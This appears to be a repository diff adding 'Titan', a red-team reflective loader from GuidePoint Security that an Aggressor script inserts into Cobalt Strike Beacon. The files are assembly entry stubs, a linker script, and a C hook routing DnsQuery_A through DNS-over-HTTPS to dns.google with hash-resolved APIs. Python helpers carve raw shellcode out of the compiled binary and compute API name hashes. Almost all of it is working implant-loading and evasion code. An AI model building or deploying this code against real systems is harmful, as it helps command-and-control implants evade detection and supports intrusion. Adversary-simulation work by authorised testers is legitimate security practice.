||||||
@@ -0,0 +1,13 @@
|
|||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
.text :
|
||||||
|
{
|
||||||
|
*( .text$A )
|
||||||
|
*( .text$B )
|
||||||
|
*( .text$C )
|
||||||
|
*( .text$D )
|
||||||
|
*( .text$E )
|
||||||
|
*( .rdata* )
|
||||||
|
*( .text$F )
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
##
|
||||||
|
## Reflective Loader
|
||||||
|
##
|
||||||
|
## GuidePoint Security LLC
|
||||||
|
##
|
||||||
|
## Threat and Attack Simulation
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
## Inserts titan into Beacon
|
||||||
|
##
|
||||||
|
set BEACON_RDLL_GENERATE {
|
||||||
|
|
||||||
|
$hnd = openf( script_resource( "Titan.". $3 .".bin" ) );
|
||||||
|
$ldr = readb( $hnd, -1 );
|
||||||
|
closef( $hnd );
|
||||||
|
|
||||||
|
if ( strlen( $ldr ) == 0 ) {
|
||||||
|
warn( 'titan has not been compiled, using standard cobalt loader.' );
|
||||||
|
return $null;
|
||||||
|
};
|
||||||
|
|
||||||
|
return $ldr . $2;
|
||||||
|
};
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
;;
|
||||||
|
;; Reflective Loader
|
||||||
|
;;
|
||||||
|
;; GuidePoint Security LLC
|
||||||
|
;;
|
||||||
|
;; Threat and Attack Simulation
|
||||||
|
;;
|
||||||
|
[BITS 64]
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Export
|
||||||
|
;;
|
||||||
|
GLOBAL GetIp
|
||||||
|
GLOBAL Hooks
|
||||||
|
|
||||||
|
[SECTION .text$C]
|
||||||
|
|
||||||
|
Hooks:
|
||||||
|
;;
|
||||||
|
;; Arbitrary symbol to reference as
|
||||||
|
;; start of hook pages
|
||||||
|
;;
|
||||||
|
nop
|
||||||
|
|
||||||
|
[SECTION .text$F]
|
||||||
|
|
||||||
|
GetIp:
|
||||||
|
;;
|
||||||
|
;; Execute next instruction
|
||||||
|
;;
|
||||||
|
call get_ret_ptr
|
||||||
|
|
||||||
|
get_ret_ptr:
|
||||||
|
;;
|
||||||
|
;; Pop address and sub diff
|
||||||
|
;;
|
||||||
|
pop rax
|
||||||
|
sub rax, 5
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
Leave:
|
||||||
|
db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E'
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
;;
|
||||||
|
;; Reflective Loader
|
||||||
|
;;
|
||||||
|
;; GuidePoint Security LLC
|
||||||
|
;;
|
||||||
|
;; Threat and Attack Simulation
|
||||||
|
;;
|
||||||
|
[BITS 64]
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Import
|
||||||
|
;;
|
||||||
|
EXTERN Titan
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Export
|
||||||
|
;;
|
||||||
|
GLOBAL Start
|
||||||
|
|
||||||
|
[SECTION .text$A]
|
||||||
|
|
||||||
|
Start:
|
||||||
|
;;
|
||||||
|
;; Setup stack
|
||||||
|
;;
|
||||||
|
push rsi
|
||||||
|
mov rsi, rsp
|
||||||
|
and rsp, 0FFFFFFFFFFFFFFF0h
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Execute Ldr
|
||||||
|
;;
|
||||||
|
sub rsp, 020h
|
||||||
|
call Titan
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Cleanup stack
|
||||||
|
;;
|
||||||
|
mov rsp, rsi
|
||||||
|
pop rsi
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Return
|
||||||
|
;;
|
||||||
|
ret
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
;;
|
||||||
|
;; Reflective Loader
|
||||||
|
;;
|
||||||
|
;; GuidePoint Security LLC
|
||||||
|
;;
|
||||||
|
;; Threat and Attack Simulation
|
||||||
|
;;
|
||||||
|
[BITS 32]
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Export
|
||||||
|
;;
|
||||||
|
GLOBAL _GetIp
|
||||||
|
GLOBAL _Hooks
|
||||||
|
|
||||||
|
[SECTION .text$C]
|
||||||
|
|
||||||
|
_Hooks:
|
||||||
|
;;
|
||||||
|
;; Arbitrary symbol to reference as
|
||||||
|
;; start of hook pages
|
||||||
|
;;
|
||||||
|
nop
|
||||||
|
|
||||||
|
[SECTION .text$F]
|
||||||
|
|
||||||
|
_GetIp:
|
||||||
|
;;
|
||||||
|
;; Execute next instruction
|
||||||
|
;;
|
||||||
|
call _get_ret_ptr
|
||||||
|
|
||||||
|
_get_ret_ptr:
|
||||||
|
;;
|
||||||
|
;; Pop address and sub diff
|
||||||
|
;;
|
||||||
|
pop eax
|
||||||
|
sub eax, 5
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
_Leave:
|
||||||
|
db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E'
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
;;
|
||||||
|
;; Reflective Loader
|
||||||
|
;;
|
||||||
|
;; GuidePoint Security LLC
|
||||||
|
;;
|
||||||
|
;; Threat and Attack Simulation
|
||||||
|
;;
|
||||||
|
[BITS 32]
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Import
|
||||||
|
;;
|
||||||
|
EXTERN _Titan
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Export
|
||||||
|
;;
|
||||||
|
GLOBAL _Start
|
||||||
|
|
||||||
|
[SECTION .text$A]
|
||||||
|
|
||||||
|
_Start:
|
||||||
|
;;
|
||||||
|
;; Setup stack
|
||||||
|
;;
|
||||||
|
push ebp
|
||||||
|
mov ebp, esp
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Execute Ldr
|
||||||
|
;;
|
||||||
|
call _Titan
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Cleanup stack
|
||||||
|
;;
|
||||||
|
mov esp, ebp
|
||||||
|
pop ebp
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Return
|
||||||
|
;;
|
||||||
|
ret
|
||||||
@@ -0,0 +1,209 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
/* Functions */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
D_API( DnsExtractRecordsFromMessage_UTF8 );
|
||||||
|
D_API( DnsWriteQuestionToBuffer_UTF8 );
|
||||||
|
D_API( InternetQueryDataAvailable );
|
||||||
|
D_API( RtlInitUnicodeString );
|
||||||
|
D_API( InternetCloseHandle );
|
||||||
|
D_API( InternetReadFile );
|
||||||
|
D_API( HttpSendRequestA );
|
||||||
|
D_API( HttpOpenRequestA );
|
||||||
|
D_API( InternetConnectA );
|
||||||
|
D_API( RtlAllocateHeap );
|
||||||
|
D_API( HttpQueryInfoA );
|
||||||
|
D_API( InternetOpenA );
|
||||||
|
D_API( LdrUnloadDll );
|
||||||
|
D_API( RtlFreeHeap );
|
||||||
|
D_API( LdrLoadDll );
|
||||||
|
} API ;
|
||||||
|
|
||||||
|
/* Hashes */
|
||||||
|
#define H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 0x300c2cf6 /* DnsExtractRecordsFromMessage_UTF8 */
|
||||||
|
#define H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 0x8daca0d0 /* DnsWriteQuestionToBuffer_UTF8 */
|
||||||
|
#define H_API_INTERNETQUERYDATAAVAILABLE 0x48114d7f /* InternetQueryDataAvailable */
|
||||||
|
#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */
|
||||||
|
#define H_API_INTERNETCLOSEHANDLE 0x87a314f0 /* InternetCloseHandle */
|
||||||
|
#define H_API_INTERNETREADFILE 0x7766910a /* InternetReadFile */
|
||||||
|
#define H_API_HTTPSENDREQUESTA 0x2bc23839 /* HttpSendRequestA */
|
||||||
|
#define H_API_HTTPOPENREQUESTA 0x8b6ddc61 /* HttpOpenRequestA */
|
||||||
|
#define H_API_INTERNETCONNECTA 0xc058d7b9 /* InternetConnectA */
|
||||||
|
#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */
|
||||||
|
#define H_API_HTTPQUERYINFOA 0x9df7f348 /* HttpQueryInfoA */
|
||||||
|
#define H_API_INTERNETOPENA 0xa7917761 /* InternetOpenA */
|
||||||
|
#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */
|
||||||
|
#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */
|
||||||
|
#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
|
||||||
|
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Redirects DnsQuery_A over a DNS/HTTP(s)
|
||||||
|
* provider.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( D ) DNS_STATUS WINAPI DnsQuery_A_Hook( _In_ PCSTR pszName, _In_ WORD wType, _In_ DWORD Options, _In_ PVOID pExtra, _Out_ PDNS_RECORD * ppQueryResults, _In_ PVOID pReserved )
|
||||||
|
{
|
||||||
|
API Api;
|
||||||
|
UNICODE_STRING Uni;
|
||||||
|
|
||||||
|
ULONG Cod = HTTP_STATUS_OK;
|
||||||
|
BOOLEAN Suc = FALSE;
|
||||||
|
DNS_STATUS Err = DNS_RCODE_SERVFAIL;
|
||||||
|
SIZE_T Len = 0;
|
||||||
|
|
||||||
|
LPVOID Res = NULL;
|
||||||
|
LPVOID Buf = NULL;
|
||||||
|
HMODULE Dns = NULL;
|
||||||
|
HMODULE Win = NULL;
|
||||||
|
HINTERNET Iop = NULL;
|
||||||
|
HINTERNET Icp = NULL;
|
||||||
|
HINTERNET Hop = NULL;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory( &Api, sizeof( Api ) );
|
||||||
|
RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
|
||||||
|
|
||||||
|
/* get NT API */
|
||||||
|
Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
|
||||||
|
Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
|
||||||
|
Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
|
||||||
|
Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
|
||||||
|
Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
|
||||||
|
|
||||||
|
Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"wininet.dll" ) ) );
|
||||||
|
Api.LdrLoadDll( NULL, 0, &Uni, &Win );
|
||||||
|
|
||||||
|
Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"dnsapi.dll" ) ) );
|
||||||
|
Api.LdrLoadDll( NULL, 0, &Uni, &Dns );
|
||||||
|
|
||||||
|
if ( Win != NULL && Dns != NULL )
|
||||||
|
{
|
||||||
|
Api.DnsExtractRecordsFromMessage_UTF8 = PeGetFuncEat( Dns, H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 );
|
||||||
|
Api.DnsWriteQuestionToBuffer_UTF8 = PeGetFuncEat( Dns, H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 );
|
||||||
|
Api.InternetQueryDataAvailable = PeGetFuncEat( Win, H_API_INTERNETQUERYDATAAVAILABLE );
|
||||||
|
Api.InternetCloseHandle = PeGetFuncEat( Win, H_API_INTERNETCLOSEHANDLE );
|
||||||
|
Api.InternetReadFile = PeGetFuncEat( Win, H_API_INTERNETREADFILE );
|
||||||
|
Api.HttpSendRequestA = PeGetFuncEat( Win, H_API_HTTPSENDREQUESTA );
|
||||||
|
Api.HttpOpenRequestA = PeGetFuncEat( Win, H_API_HTTPOPENREQUESTA );
|
||||||
|
Api.InternetConnectA = PeGetFuncEat( Win, H_API_INTERNETCONNECTA );
|
||||||
|
Api.HttpQueryInfoA = PeGetFuncEat( Win, H_API_HTTPQUERYINFOA );
|
||||||
|
Api.InternetOpenA = PeGetFuncEat( Win, H_API_INTERNETOPENA );
|
||||||
|
|
||||||
|
Iop = Api.InternetOpenA( NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 );
|
||||||
|
|
||||||
|
if ( Iop != NULL ) {
|
||||||
|
Icp = Api.InternetConnectA( Iop,
|
||||||
|
C_PTR( G_SYM( "dns.google" ) ),
|
||||||
|
INTERNET_DEFAULT_HTTPS_PORT,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
INTERNET_SERVICE_HTTP,
|
||||||
|
0,
|
||||||
|
0 );
|
||||||
|
|
||||||
|
if ( Icp == NULL ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
|
||||||
|
Hop = Api.HttpOpenRequestA( Icp,
|
||||||
|
C_PTR( G_SYM( "POST" ) ),
|
||||||
|
C_PTR( G_SYM( "/dns-query" ) ),
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
INTERNET_FLAG_NO_CACHE_WRITE |
|
||||||
|
INTERNET_FLAG_SECURE |
|
||||||
|
INTERNET_FLAG_RELOAD |
|
||||||
|
INTERNET_FLAG_NO_UI,
|
||||||
|
0 );
|
||||||
|
|
||||||
|
if ( Hop != NULL )
|
||||||
|
{
|
||||||
|
if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, 0, TRUE ) ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
if ( ! ( Buf = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, 0, Len ) ) ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, 0, TRUE ) )
|
||||||
|
{
|
||||||
|
if ( Api.HttpSendRequestA( Hop, C_PTR( G_SYM( "Content-Type: application/dns-message" ) ), -1L, Buf, Len ) )
|
||||||
|
{
|
||||||
|
if ( Api.HttpQueryInfoA( Hop, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &Cod, &( DWORD ){ sizeof( DWORD ) }, NULL ) )
|
||||||
|
{
|
||||||
|
if ( Cod != HTTP_STATUS_OK ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
if ( ! Api.InternetQueryDataAvailable( Hop, &Len, 0, 0 ) ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
if ( ! ( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Len ) ) ) {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
if ( Api.InternetReadFile( Hop, Res, Len, &( DWORD ){ 0 } ) )
|
||||||
|
{
|
||||||
|
DNS_BYTE_FLIP_HEADER_COUNTS( Res );
|
||||||
|
Err = Api.DnsExtractRecordsFromMessage_UTF8( Res, Len, ppQueryResults );
|
||||||
|
} else {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
goto Leave;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
Leave:
|
||||||
|
if ( Res != NULL ) {
|
||||||
|
Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res );
|
||||||
|
Res = NULL;
|
||||||
|
};
|
||||||
|
if ( Buf != NULL ) {
|
||||||
|
Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Buf );
|
||||||
|
Buf = NULL;
|
||||||
|
};
|
||||||
|
if ( Iop != NULL ) {
|
||||||
|
Api.InternetCloseHandle( Iop );
|
||||||
|
Iop = NULL;
|
||||||
|
};
|
||||||
|
if ( Icp != NULL ) {
|
||||||
|
Api.InternetCloseHandle( Icp );
|
||||||
|
Icp = NULL;
|
||||||
|
};
|
||||||
|
if ( Hop != NULL ) {
|
||||||
|
Api.InternetCloseHandle( Hop );
|
||||||
|
Hop = NULL;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
if ( Win != NULL ) {
|
||||||
|
Api.LdrUnloadDll( Win );
|
||||||
|
Win = NULL;
|
||||||
|
};
|
||||||
|
if ( Dns != NULL ) {
|
||||||
|
Api.LdrUnloadDll( Dns );
|
||||||
|
Dns = NULL;
|
||||||
|
};
|
||||||
|
return Err;
|
||||||
|
};
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Redirects DnsQuery_A over a DNS/HTTP(s)
|
||||||
|
* provider.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( D ) DNS_STATUS WINAPI DnsQuery_A_Hook( _In_ PCSTR pszName, _In_ WORD wType, _In_ DWORD Options, _In_ PVOID pExtra, _Out_ PDNS_RECORD * ppQueryResults, _In_ PVOID pReserved );
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding:utf-8 -*-
|
||||||
|
import pefile
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
if __name__ in '__main__':
|
||||||
|
try:
|
||||||
|
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );
|
||||||
|
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );
|
||||||
|
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );
|
||||||
|
option = parser.parse_args();
|
||||||
|
|
||||||
|
PeExe = pefile.PE( option.f );
|
||||||
|
PeSec = PeExe.sections[0].get_data();
|
||||||
|
|
||||||
|
if PeSec.find( b'ENDOFCODE' ) != None:
|
||||||
|
ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];
|
||||||
|
f = open( option.o, 'wb+' );
|
||||||
|
f.write( ScRaw );
|
||||||
|
f.close();
|
||||||
|
else:
|
||||||
|
print('[!] error: no ending tag');
|
||||||
|
except Exception as e:
|
||||||
|
print( '[!] error: {}'.format( e ) );
|
||||||
|
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding:utf-8 -*-
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def hash_string( string ):
|
||||||
|
try:
|
||||||
|
hash = 5381
|
||||||
|
|
||||||
|
for x in string.upper():
|
||||||
|
hash = (( hash << 5 ) + hash ) + ord(x)
|
||||||
|
|
||||||
|
return hash & 0xFFFFFFFF
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if __name__ in '__main__':
|
||||||
|
try:
|
||||||
|
print('0x%x' % hash_string(sys.argv[1]));
|
||||||
|
except IndexError:
|
||||||
|
print('usage: %s [string]' % sys.argv[0]);
|
||||||
Reference in New Issue
Block a user